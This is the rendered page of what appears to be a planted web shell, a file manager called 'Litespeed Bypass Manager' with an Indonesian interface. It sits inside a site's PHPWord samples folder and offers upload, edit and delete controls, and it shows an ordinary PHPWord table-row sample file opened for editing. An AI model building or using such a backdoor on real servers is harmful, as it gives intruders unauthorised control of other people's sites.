Litespeed Bypass Manager
Direktori:
/admin/vendor/phpoffice/phpword/samples
⬆️ Kembali
Buat Folder Baru
Buat Folder
Upload File
Upload
⚠️ Litespeed Uploader
Isi Folder
📁
bootstrap
Folder
Hapus
📁
resources
Folder
Hapus
📁
results
Folder
Hapus
📄 Sample_01_SimpleText.php
Edit
Hapus
📄 Sample_02_TabStops.php
Edit
Hapus
📄 Sample_03_Sections.php
Edit
Hapus
📄 Sample_04_Textrun.php
Edit
Hapus
📄 Sample_05_Multicolumn.php
Edit
Hapus
📄 Sample_06_Footnote.php
Edit
Hapus
📄 Sample_07_TemplateCloneRow.php
Edit
Hapus
📄 Sample_08_ParagraphPagination.php
Edit
Hapus
📄 Sample_09_Tables.php
Edit
Hapus
📄 Sample_10_EastAsianFontStyle.php
Edit
Hapus
📄 Sample_11_ReadWord2007.php
Edit
Hapus
📄 Sample_11_ReadWord97.php
Edit
Hapus
📄 Sample_12_HeaderFooter.php
Edit
Hapus
📄 Sample_13_Images.php
Edit
Hapus
📄 Sample_14_ListItem.php
Edit
Hapus
📄 Sample_15_Link.php
Edit
Hapus
📄 Sample_16_Object.php
Edit
Hapus
📄 Sample_17_TitleTOC.php
Edit
Hapus
📄 Sample_18_Watermark.php
Edit
Hapus
📄 Sample_19_TextBreak.php
Edit
Hapus
📄 Sample_20_BGColor.php
Edit
Hapus
📄 Sample_21_TableRowRules.php
Edit
Hapus
📄 Sample_22_CheckBox.php
Edit
Hapus
📄 Sample_23_TemplateBlock.php
Edit
Hapus
📄 Sample_24_ReadODText.php
Edit
Hapus
📄 Sample_25_TextBox.php
Edit
Hapus
📄 Sample_26_Html.php
Edit
Hapus
📄 Sample_27_Field.php
Edit
Hapus
📄 Sample_28_ReadRTF.php
Edit
Hapus
📄 Sample_29_Line.php
Edit
Hapus
📄 Sample_30_ReadHTML.php
Edit
Hapus
📄 Sample_31_Shape.php
Edit
Hapus
📄 Sample_32_Chart.php
Edit
Hapus
📄 Sample_33_FormField.php
Edit
Hapus
📄 Sample_34_SDT.php
Edit
Hapus
📄 Sample_35_InternalLink.php
Edit
Hapus
📄 Sample_36_RTL.php
Edit
Hapus
📄 Sample_37_Comments.php
Edit
Hapus
📄 Sample_38_Protection.php
Edit
Hapus
📄 Sample_Footer.php
Edit
Hapus
📄 Sample_Header.php
Edit
Hapus
📄 index.php
Edit
Hapus
Edit File: Sample_21_TableRowRules.php
<?php include_once 'Sample_Header.php'; // New Word document echo date('H:i:s'), ' Create new PhpWord object', EOL; $phpWord = new \PhpOffice\PhpWord\PhpWord(); // New section $section = $phpWord->addSection(); $section->addText('By default, when you insert an image, it adds a textbreak after its content.'); $section->addText('If we want a simple border around an image, we wrap the image inside a table->row->cell'); $section->addText( 'On the image with the red border, even if we set the row height to the height of the image, ' . 'the textbreak is still there:' ); $table1 = $section->addTable(array('cellMargin' => 0, 'cellMarginRight' => 0, 'cellMarginBottom' => 0, 'cellMarginLeft' => 0)); $table1->addRow(3750); $cell1 = $table1->addCell(null, array('valign' => 'top', 'borderSize' => 30, 'borderColor' => 'ff0000')); $cell1->addImage('./resources/_earth.jpg', array('width' => 250, 'height' => 250, 'alignment' => \PhpOffice\PhpWord\SimpleType\Jc::CENTER)); $section->addTextBreak(); $section->addText("But if we set the rowStyle 'exactHeight' to true, the real row height is used, removing the textbreak:"); $table2 = $section->addTable( array( 'cellMargin' => 0, 'cellMarginRight' => 0, 'cellMarginBottom' => 0, 'cellMarginLeft' => 0, ) ); $table2->addRow(3750, array('exactHeight' => true)); $cell2 = $table2->addCell(null, array('valign' => 'top', 'borderSize' => 30, 'borderColor' => '00ff00')); $cell2->addImage('./resources/_earth.jpg', array('width' => 250, 'height' => 250, 'alignment' => \PhpOffice\PhpWord\SimpleType\Jc::CENTER)); $section->addTextBreak(); $section->addText('In this example, image is 250px height. Rows are calculated in twips, and 1px = 15twips.'); $section->addText('So: $' . "table2->addRow(3750, array('exactHeight'=>true));"); // Save file echo write($phpWord, basename(__FILE__, '.php'), $writers); if (!CLI) { include_once 'Sample_Footer.php'; }
Simpan
Catatan: Mengedit file biner tidak disarankan.